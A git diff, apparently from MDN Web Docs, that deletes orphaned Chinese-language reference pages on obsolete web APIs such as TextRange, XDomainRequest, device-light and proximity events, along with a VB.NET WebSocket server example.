一个 {{domxref("DOMString")}}。

- -

示例

- -

以下示例在IE9以下有效。该示例通过 document.selection 获取 TextRange,并过滤选区中的富文本元素。IE9以上支持标准的替代方案 {{domxref("Range")}}。

- -
var range = document.selection.createRange();
-range.htmlText = range.text;
-// 将富文本内容设置为纯文本内容,则区域也就变为纯文本。
-
- -

开发者笔记

- -

关于 text 属性

- -

注意,当通过该属性操作或获取时,不会得到包含非纯文本的信息;如果通过该属性设置,则区域内的元素将被删除,之后通常会变为一个包含指定内容的文本节点。因此,即使通过这个属性操作纯文本内容,结果也将剔除原先的所有格式数据。

- -

如果希望脚本的功能明确可读,最好的办法是不要同时使用该属性和 htmlText 属性设置数据。另外,该属性不是标准的,它从IE4开始在IE中实现,但不在其它浏览器的规范中。

- -

浏览器兼容性

- - - - - - - - - - - - - - - - -
IE其它浏览器
{{domxref("TextRange.text")}} {{non-standard_inline()}}支持(IE9后应使用标准API)不支持(详见Selection API
- -

扩展

- - diff --git a/files/zh-cn/orphaned/web/api/typeinfo/index.html b/files/zh-cn/orphaned/web/api/typeinfo/index.html deleted file mode 100644 index cb47bcd1b7..0000000000 --- a/files/zh-cn/orphaned/web/api/typeinfo/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: TypeInfo -slug: orphaned/Web/API/TypeInfo -tags: - - TypeInfo -translation_of: Web/API/TypeInfo -original_slug: Web/API/TypeInfo ---- -

{{APIRef("DOM")}} {{obsolete_header}}

- -

属性

- -
-
{{domxref("TypeInfo.typeName")}} {{Readonlyinline}}
-
Returns a {{domxref("DOMString")}}.
-
{{domxref("TypeInfo.typeNamespace")}} {{Readonlyinline}}
-
Returns a {{domxref("DOMString")}}.
-
- -

方法

- -
-
{{domxref("TypeInfo.isDerivedFrom()")}}
-
Returns a {{jsxref("Boolean")}}
-
- -

常量

- - - - - - - - - - - - - - - - - - - - - - - - -
ConstantValue
DERIVATION_RESTRICTION1
DERIVATION_EXTENSION2
DERIVATION_UNION4
DERIVATION_LIST8
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#TypeInfo", "TypeInfo")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/orphaned/web/api/uievent/cancelbubble/index.html b/files/zh-cn/orphaned/web/api/uievent/cancelbubble/index.html deleted file mode 100644 index f98af92c97..0000000000 --- a/files/zh-cn/orphaned/web/api/uievent/cancelbubble/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: event.cancelBubble -slug: orphaned/Web/API/UIEvent/cancelBubble -translation_of: Web/API/UIEvent/cancelBubble -original_slug: Web/API/UIEvent/cancelBubble ---- -

{{ ApiRef() }}

-
- 警告: 请使用 event.stopPropagation() 方法来代替该不标准的属性.
-

概述

-

{{ Deprecated_header() }} 获取或设置一个布尔值,表明当前事件是否要取消冒泡.

-

语法

-
event.cancelBubble = bool;
-var bool = event.cancelBubble;
-
-

bool 的值为true或false.

-

备注

-

如果一个事件是可冒泡的,则它的cancelBubble属性的默认值为 false,代表允许该事件向上冒泡. 将cancelBubble属性设置为true以后,可以阻止该事件的进一步冒泡行为.

-

{{ languages( { "pl": "pl/DOM/event.cancelBubble" ,"en": "en/DOM/event.cancelBubble" } ) }}

diff --git a/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html b/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html deleted file mode 100644 index c01252f31b..0000000000 --- a/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html +++ /dev/null @@ -1,271 +0,0 @@ ---- -title: WebSocket Server Vb.NET -slug: orphaned/Web/API/WebSockets_API/WebSocket_Server_Vb.NET -translation_of: Web/API/WebSockets_API/WebSocket_Server_Vb.NET -original_slug: Web/API/WebSockets_API/WebSocket_Server_Vb.NET ---- -

{{gecko_minversion_header("2")}}{{draft}}

- -

下面的示例没有优化。没有使用 .NET 4.5 Websocket。
-
- 当前版本:

- - - -

 

- -
Imports System.Net.Sockets
-Imports System.Net
-Imports System
-Imports System.Text
-Imports System.Text.RegularExpressions
-
-
-Namespace TypeDef.WebSocket
-
-    Public Class Client
-        Dim _TcpClient As System.Net.Sockets.TcpClient
-
-        Public Delegate Sub OnClientDisconnectDelegateHandler()
-        Public Event onClientDisconnect As OnClientDisconnectDelegateHandler
-
-
-        Sub New(ByVal tcpClient As System.Net.Sockets.TcpClient)
-            Me._TcpClient = tcpClient
-        End Sub
-
-
-        Function isConnected() As Boolean
-            Return Me._TcpClient.Connected
-        End Function
-
-
-        Sub HandShake()
-            Dim stream As NetworkStream = Me._TcpClient.GetStream()
-            Dim bytes As Byte()
-            Dim data As String
-
-            While Me._TcpClient.Connected
-                While (stream.DataAvailable)
-                    ReDim bytes(Me._TcpClient.Client.Available)
-                    stream.Read(bytes, 0, bytes.Length)
-                    data = System.Text.Encoding.UTF8.GetString(bytes)
-
-                    If (New System.Text.RegularExpressions.Regex("^GET").IsMatch(data)) Then
-
-                        Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" & Environment.NewLine & "Connection: Upgrade" & Environment.NewLine & "Upgrade: websocket" & Environment.NewLine & "Sec-WebSocket-Accept: " & Convert.ToBase64String(System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(New Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups(1).Value.Trim() & "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))) & Environment.NewLine & Environment.NewLine)
-
-                        stream.Write(response, 0, response.Length)
-                        Exit Sub
-                    Else
-                        'We're going to disconnect the client here, because he's not handshacking properly (or at least to the scope of this code sample)
-                        Me._TcpClient.Close() 'The next While Me._TcpClient.Connected Loop Check should fail.. and raise the onClientDisconnect Event Thereafter
-                    End If
-                End While
-            End While
-            RaiseEvent onClientDisconnect()
-        End Sub
-
-
-        Sub CheckForDataAvailability()
-            If (Me._TcpClient.GetStream().DataAvailable) Then
-                Dim stream As NetworkStream = Me._TcpClient.GetStream()
-                Dim frameCount = 2
-                Dim bytes As Byte()
-                Dim data As String
-                ReDim bytes(Me._TcpClient.Client.Available)
-                stream.Read(bytes, 0, bytes.Length) 'Read the stream, don't close it..
-
-                Try
-                    Dim length As UInteger = bytes(1) - 128 'this should obviously be a byte (unsigned 8bit value)
-
-                    If length > -1 Then
-                        If length = 126 Then
-                            length = 4
-                        ElseIf length = 127 Then
-                            length = 10
-                        End If
-                    End If
-
-                    'the following is very inefficient and likely unnecessary..
-                    'the main purpose is to just get the lower 4 bits of byte(0) - which is the OPCODE
-
-                    Dim value As Integer = bytes(0)
-                    Dim bitArray As BitArray = New BitArray(8)
-
-                    For c As Integer = 0 To 7 Step 1
-                        If value - (2 ^ (7 - c)) >= 0 Then
-                            bitArray.Item(c) = True
-                            value -= (2 ^ (7 - c))
-                        Else
-                            bitArray.Item(c) = False
-                        End If
-                    Next
-
-
-                    Dim FRRR_OPCODE As String = ""
-
-                    For Each bit As Boolean In bitArray
-                        If bit Then
-                            FRRR_OPCODE &= "1"
-                        Else
-                            FRRR_OPCODE &= "0"
-                        End If
-                    Next
-
-
-                    Dim FIN As Integer = FRRR_OPCODE.Substring(0, 1)
-                    Dim RSV1 As Integer = FRRR_OPCODE.Substring(1, 1)
-                    Dim RSV2 As Integer = FRRR_OPCODE.Substring(2, 1)
-                    Dim RSV3 As Integer = FRRR_OPCODE.Substring(3, 1)
-                    Dim opCode As Integer = Convert.ToInt32(FRRR_OPCODE.Substring(4, 4), 2)
-
-
-
-                    Dim decoded(bytes.Length - (frameCount + 4)) As Byte
-                    Dim key As Byte() = {bytes(frameCount), bytes(frameCount+1), bytes(frameCount+2), bytes(frameCount+3)}
-
-                    Dim j As Integer = 0
-                    For i As Integer = (frameCount + 4) To (bytes.Length - 2) Step 1
-                        decoded(j) = Convert.ToByte((bytes(i) Xor masks(j Mod 4)))
-                        j += 1
-                    Next
-
-
-
-                    Select Case opCode
-                        Case Is = 1
-                            'Text Data Sent From Client
-
-                            data = System.Text.Encoding.UTF8.GetString(decoded)
-                            'handle this data
-
-                            Dim Payload As Byte() = System.Text.Encoding.UTF8.GetBytes("Text Recieved")
-                            Dim FRRROPCODE As Byte() = Convert.ToByte("10000001", 2) 'FIN is set, and OPCODE is 1 or Text
-                            Dim header as byte() = {FRRROPCODE, Convert.ToByte(Payload.Length)}
-
-
-                            Dim ResponseData As Byte()
-                            ReDim ResponseData((header.length + Payload.Length) - 1)
-                            'NOTEWORTHY: if you Redim ResponseData(header.length + Payload.Length).. you'll add a 0 value byte at the end of the response data..
-                            'which tells the client that your next stream write will be a continuation frame..
-
-                            Dim index as integer = 0
-
-                            Buffer.BlockCopy(header, 0, ResponseData, index, header.length)
-                            index += header.length
-
-                            Buffer.BlockCopy(payload, 0, ResponseData, index, payload.length)
-                            index += payload.length
-                            stream.Write(ResponseData, 0, ResponseData.Length)
-                      Case Is = 2
-                            '// Binary Data Sent From Client
-                            data = System.Text.Encoding.UTF8.GetString(decoded)
-                            Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("Binary Recieved")
-                             stream.Write(response, 0, response.Length)
-                      Case Is = 9 '// Ping Sent From Client
-                      Case Is = 10 '// Pong Sent From Client
-                      Case Else '// Improper opCode.. disconnect the client
-                            _TcpClient.Close()
-                            RaiseEvent onClientDisconnect()
-                      End Select
-                Catch ex As Exception
-                    _TcpClient.Close()
-                    RaiseEvent onClientDisconnect()
-                End Try
-            End If
-        End Sub
-    End Class
-
-
-
-    Public Class Server
-        Inherits System.Net.Sockets.TcpListener
-
-        Delegate Sub OnClientConnectDelegate(ByVal sender As Object, ByRef Client As WebSocket.Client)
-        Event OnClientConnect As OnClientConnectDelegate
-
-
-        Dim WithEvents PendingCheckTimer As Timers.Timer = New Timers.Timer(500)
-        Dim WithEvents ClientDataAvailableTimer As Timers.Timer = New Timers.Timer(50)
-        Property ClientCollection As List(Of WebSocket.Client) = New List(Of WebSocket.Client)
-
-
-
-        Sub New(ByVal url As String, ByVal port As Integer)
-            MyBase.New(IPAddress.Parse(url), port)
-        End Sub
-
-
-        Sub startServer()
-            Me.Start()
-            PendingCheckTimer.Start()
-        End Sub
-
-
-
-        Sub Client_Connected(ByVal sender As Object, ByRef client As WebSocket.Client) Handles Me.OnClientConnect
-            Me.ClientCollection.Add(client)
-            AddHandler client.onClientDisconnect, AddressOf Client_Disconnected
-            client.HandShake()
-            ClientDataAvailableTimer.Start()
-        End Sub
-
-
-        Sub Client_Disconnected()
-
-        End Sub
-
-
-        Function isClientDisconnected(ByVal client As WebSocket.Client) As Boolean
-            isClientDisconnected = False
-            If Not client.isConnected Then
-                Return True
-            End If
-        End Function
-
-
-        Function isClientConnected(ByVal client As WebSocket.Client) As Boolean
-            isClientConnected = False
-            If client.isConnected Then
-                Return True
-            End If
-        End Function
-
-
-        Private Sub PendingCheckTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles PendingCheckTimer.Elapsed
-            If Pending() Then
-                RaiseEvent OnClientConnect(Me, New CORE.TypeDef.WebSocket.Client(Me.AcceptTcpClient()))
-            End If
-        End Sub
-
-
-        Private Sub ClientDataAvailableTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles ClientDataAvailableTimer.Elapsed
-            Me.ClientCollection.RemoveAll(AddressOf isClientDisconnected)
-            If Me.ClientCollection.Count < 1 Then ClientDataAvailableTimer.Stop()
-
-            For Each Client As WebSocket.Client In Me.ClientCollection
-                Client.CheckForDataAvailability()
-            Next
-        End Sub
-    End Class
-End Namespace
-
-Sub Main()  'Program Entry point
-    Dim thread As System.Threading.Thread = New System.Threading.Thread(AddressOf StartWebSocketServer)
-    'Application.Add("WebSocketServerThread", thread) 'Global.asax - context.Application .. I left this part in for web application developers
-    thread.Start()
-End Sub
-
-Public Shared WebSocketServer As TypeDef.WebSocket.Server
-Public Shared Sub StartWebSocketServer()
-    WebSocketServer = New TypeDef.WebSocket.Server("127.0.0.1", 8000)
-    WebSocketServer.startServer()
-End Sub
-
diff --git a/files/zh-cn/orphaned/web/api/window/getattention/index.html b/files/zh-cn/orphaned/web/api/window/getattention/index.html deleted file mode 100644 index 72fddbcc97..0000000000 --- a/files/zh-cn/orphaned/web/api/window/getattention/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Window.getAttention() -slug: orphaned/Web/API/Window/getAttention -translation_of: Web/API/Window/getAttention -original_slug: Web/API/Window/getAttention ---- -
{{ ApiRef() }}
- -

The Window.getAttention() method attempts to get the user's attention. The mechanism for this happening depends on the specific operating system and window manager.

- -

语法

- -
window.getAttention();
-
- -

Notes

- -

On Windows, the taskbar button for the window flashes, if this hasn't been disabled by the user.

- -

On Linux, the behaviour varies from window manager to window manager - some flash the taskbar button, others focus the window immediately. This may be configurable as well.

- -

On Macintosh, the icon in the upper right corner of the desktop flashes.

- -

The function is disabled for web content. Neither Gecko nor Internet Explorer supports this feature now for web content. getAttention will still work when used from chrome in a Gecko application.

- -

Specification

- -

DOM Level 0. Not part of specification.

- -

Browser compatibility

- - - -

{{Compat("api.Window.getAttention")}}

diff --git a/files/zh-cn/orphaned/web/api/window/ondevicelight/index.html b/files/zh-cn/orphaned/web/api/window/ondevicelight/index.html deleted file mode 100644 index d4e668dc85..0000000000 --- a/files/zh-cn/orphaned/web/api/window/ondevicelight/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Window.ondevicelight -slug: orphaned/Web/API/Window/ondevicelight -tags: - - 实验中 - - 属性 - - 引用 - - 接口 - - 环境光事件 -translation_of: Web/API/Window/ondevicelight -original_slug: Web/API/Window/ondevicelight ---- -
{{APIRef}}
- -
声明一个事件监听用以接收{{event("devicelight")}}事件。事件在设备的光传感器检测到周围环境光的强度发生变化时触发。
- -

语法

- -
window.ondevicelight = funcRef
- -

当{{event("devicelight")}}事件触发时,调用funcRef函数。这些事件皆为 {{domxref("DeviceLightEvent")}}事件类型。

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('AmbientLight', '#event-handlers', 'Ambient Light Events')}}{{Spec2('AmbientLight')}}Initial definition
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("22.0")}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile("15.0")}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] 事件{{event("devicelight")}} 的使用最先被实现应用在Android (15.0) 的移动端火狐浏览器和火狐操作系统(B2G)。从 Gecko 22.0 {{geckoRelease("22.0")}}开始,面向Mac OS X 的桌面应用也已实现。目前对Windows 7的支持还在进行中(详见 {{bug(754199)}})。

- -

相关链接

- - diff --git a/files/zh-cn/orphaned/web/api/window/ondeviceproximity/index.html b/files/zh-cn/orphaned/web/api/window/ondeviceproximity/index.html deleted file mode 100644 index 5a7d414518..0000000000 --- a/files/zh-cn/orphaned/web/api/window/ondeviceproximity/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Window.ondeviceproximity -slug: orphaned/Web/API/Window/ondeviceproximity -translation_of: Web/API/Window/ondeviceproximity -original_slug: Web/API/Window/ondeviceproximity ---- -

{{ ApiRef() }}

- -

指定一个事件监听器来接受 {{event("deviceproximity")}} 事件,当设备传感器检测到一个对象越来越接近或远离设备时这些事件就会出现。

- -

语法

- -
window.onuserproximity = funcRef
- -

其中funcRef是在发生 {{event("deviceproximity")}} 事件时要调用的函数。这些事件的类型为{{domxref("DeviceProximityEvent")}}。

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('Proximity Events', '#device-proximity', 'Proximity Events') }}{{ Spec2('Proximity Events') }}Initial specification
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatGeckoMobile("15.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/window/onuserproximity/index.html b/files/zh-cn/orphaned/web/api/window/onuserproximity/index.html deleted file mode 100644 index 743c8493cc..0000000000 --- a/files/zh-cn/orphaned/web/api/window/onuserproximity/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Window.onuserproximity -slug: orphaned/Web/API/Window/onuserproximity -translation_of: Web/API/Window/onuserproximity -original_slug: Web/API/Window/onuserproximity ---- -

{{ ApiRef() }}

- -

Window.onuserproxymity 属性代表一个 {{event("Event_handlers", "event handler")}}, 当触发 {{event("userproximity")}} 事件时会调用这个函数。这些事件是 {{domxref("UserProximityEvent")}} 类型的,在设备传感器检测到对象变得靠近时触发。

- -

语法

- -
window.onuserproximity = eventHandler
- -

说明

- - - - - - - - - - - - - - - - -
说明状态评论
{{ SpecName('Proximity Events', '#user-proximity', 'Proximity Events') }}{{ Spec2('Proximity Events') }}Initial specification
- -

浏览器兼容

- -

{{Compat("api.Window.onuserproximity")}}

- -

其他

- - diff --git a/files/zh-cn/orphaned/web/api/xdomainrequest/index.html b/files/zh-cn/orphaned/web/api/xdomainrequest/index.html deleted file mode 100644 index a9d7eaf905..0000000000 --- a/files/zh-cn/orphaned/web/api/xdomainrequest/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: XDomainRequest -slug: orphaned/Web/API/XDomainRequest -tags: - - AJAX - - API - - IE - - JavaScript - - Web - - 废弃 - - 微软 - - 非标准 -translation_of: Web/API/XDomainRequest -original_slug: Web/API/XDomainRequest ---- -

{{obsolete_header}}

- -

{{non-standard_header}}

- -

摘要

- -

XDomainRequest是在IE8和IE9上的HTTP access control (CORS) 的实现,在IE10中被 包含CORS的XMLHttpRequest 取代了,如果你的开发目标是IE10或IE的后续版本,或想要支待其他的浏览器,你需要使用标准的HTTP access control

- -

该接口可以发送GET和POST请求

- -

语法

- -
var xdr = new XDomainRequest();
- -

返回XDomainRequest的实例,该实例可以被用来生成或管理请求。

- -

属性

- -
-
{{domxref("XDomainRequest.timeout")}}
-
获取或设置请求的过期时间。
-
{{domxref("XDomainRequest.responseText")}}
-
以字符串形式获取响应体。
-
- -

方法

- -
-
{{domxref("XDomainRequest.open()")}}
-
根据指定的方法(GET或POST)和URL,打开请求。
-
{{domxref("XDomainRequest.send()")}}
-
发送请求。POST的数据会在该方法中被指定。
-
{{domxref("XDomainRequest.abort()")}}
-
中止请求。
-
- -

事件处理程序

- -
-
{{domxref("XDomainRequest.onprogress")}}
-
当请求中发送方法和onload事件中有进展时的处理程序。
-
{{domxref("XDomainRequest.ontimeout")}}
-
当请求超时时的事件处理程序。
-
{{domxref("XDomainRequest.onerror")}}
-
当请求发生错误时的处理程序。
-
{{domxref("XDomainRequest.onload")}}
-
当服务器端的响应被完整接收时的处理程序。
-
- -

例子

- -
if(window.XDomainRequest){
-  var xdr = new XDomainRequest();
-
-  xdr.open("get", "http://example.com/api/method");
-
-  xdr.onprogress = function () {
-    //Progress
-  };
-
-  xdr.ontimeout = function () {
-    //Timeout
-  };
-
-  xdr.onerror = function () {
-    //Error Occured
-  };
-
-  xdr.onload = function() {
-    //success(xdr.responseText);
-  }
-
-  setTimeout(function () {
-    xdr.send();
-  }, 0);
-}
- -
 
- -
-

注意: 如果多个XDomainRequests同时被发送,一些请求可能会丢失,为避免这种情况,xdr.send()的调用应被包裹在setTimeout方法中(见{{domxref("window.setTimeout()")}})。

-
- -

安全

- -

XDomainRequest为了确保安全构建,采用了多种方法。

- - - -

标准

- -

该接口及其方法没有遵循标准。

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
XDomainRequest{{ CompatNo() }}{{ CompatNo() }}8.0-9.x{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
XDomainRequest{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatNo() }}
-
- - diff --git a/files/zh-cn/orphaned/web/api/xmlhttprequest/openrequest/index.html b/files/zh-cn/orphaned/web/api/xmlhttprequest/openrequest/index.html deleted file mode 100644 index 52b110db5b..0000000000 --- a/files/zh-cn/orphaned/web/api/xmlhttprequest/openrequest/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: XMLHttpRequest.openRequest() -slug: orphaned/Web/API/XMLHttpRequest/openRequest -translation_of: Web/API/XMLHttpRequest/openRequest -original_slug: Web/API/XMLHttpRequest/openRequest ---- -

{{APIRef("XMLHttpRequest")}}{{non-standard_header}}

- -

此Mozilla特定的方法仅在特权代码中可用, 且仅能从C++上下文中调用以初始化 XMLHttpRequest.若想要从JavaScript代码初始化一个request,请使用标准的 {{domxref("XMLHttpRequest.open", "open()")}} 方法.

diff --git a/files/zh-cn/orphaned/web/api/xmlhttprequestresponsetype/index.html b/files/zh-cn/orphaned/web/api/xmlhttprequestresponsetype/index.html deleted file mode 100644 index 92738971cb..0000000000 --- a/files/zh-cn/orphaned/web/api/xmlhttprequestresponsetype/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: XMLHttpRequestResponseType -slug: orphaned/Web/API/XMLHttpRequestResponseType -translation_of: Web/API/XMLHttpRequestResponseType -original_slug: Web/API/XMLHttpRequestResponseType ---- -
{{APIRef("XMLHttpRequest")}}
- -

XMLHttpRequestResponseType 类型是一个枚举字符串,用于指定包含在一个 {{domxref("XMLHttpRequest")}} 中的 {{domxref("XMLHttpRequest.response", "response")}} 的数据类型。这些值用于获取或设置请求的 {{domxref("XMLHttpRequest.responseType", "responseType")}}。

- -

取值

- -
-
""
-
responseType 为空字符串时,采用默认类型 {{domxref("DOMString")}},与设置为 text 相同。
-
arraybuffer
-
{{domxref("XMLHttpRequest.response", "response")}} 是一个包含二进制数据的 JavaScript {{jsxref("ArrayBuffer")}}。
-
blob
-
response 是一个包含二进制数据的 {{domxref("Blob")}} 对象 。
-
document
-
response 是一个 {{Glossary("HTML")}} {{domxref("Document")}} 或 {{Glossary("XML")}} {{domxref("XMLDocument")}},这取决于接收到的数据的 MIME 类型。请参阅 XMLHttpRequest 中的 HTML 以了解使用 XHR 获取 HTML 内容的更多信息。
-
json
-
response 是一个 JavaScript 对象。这个对象是通过将接收到的数据类型视为 {{Glossary("JSON")}} 解析得到的。
-
text
-
response 是一个以 {{domxref("DOMString")}} 对象表示的文本。
-
ms-stream {{non-standard_inline}}
-
response 是下载流的一部分;此响应类型仅允许下载请求,并且仅受 Internet Explorer 支持。
-
- -

已废弃的值

- -
-
moz-chunked-arraybuffer {{non-standard_inline}}
-
-

"arraybuffer"相似,但是数据会被接收到一个流中。使用此响应类型时,响应中的值仅在 {{event("progress")}} 事件的处理程序中可用,并且只包含上一次响应 progress 事件以后收到的数据,而不是自请求发送以来收到的所有数据。

- -

progress 事件处理时访问 response 将返回到目前为止收到的数据。在 progress 事件处理程序之外访问, response 的值会始终为 null

- -

You shouldn't use this non-standard (and, as of Firefox 68, entirely removed) API; instead, consider using the Fetch API with readable streams, which offers a standard alternative to accessing the response in a streaming fashion.

-
-
- -

规范

- - - - - - - - - - - - - - -
规范状态注释
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequestResponseType')}}Live standard, latest version
- -

浏览器兼容性

- -

{{Compat("api.XMLHttpRequestResponseType")}}

- -

了解更多

- - -- cgit v1.2.3-54-g00ecf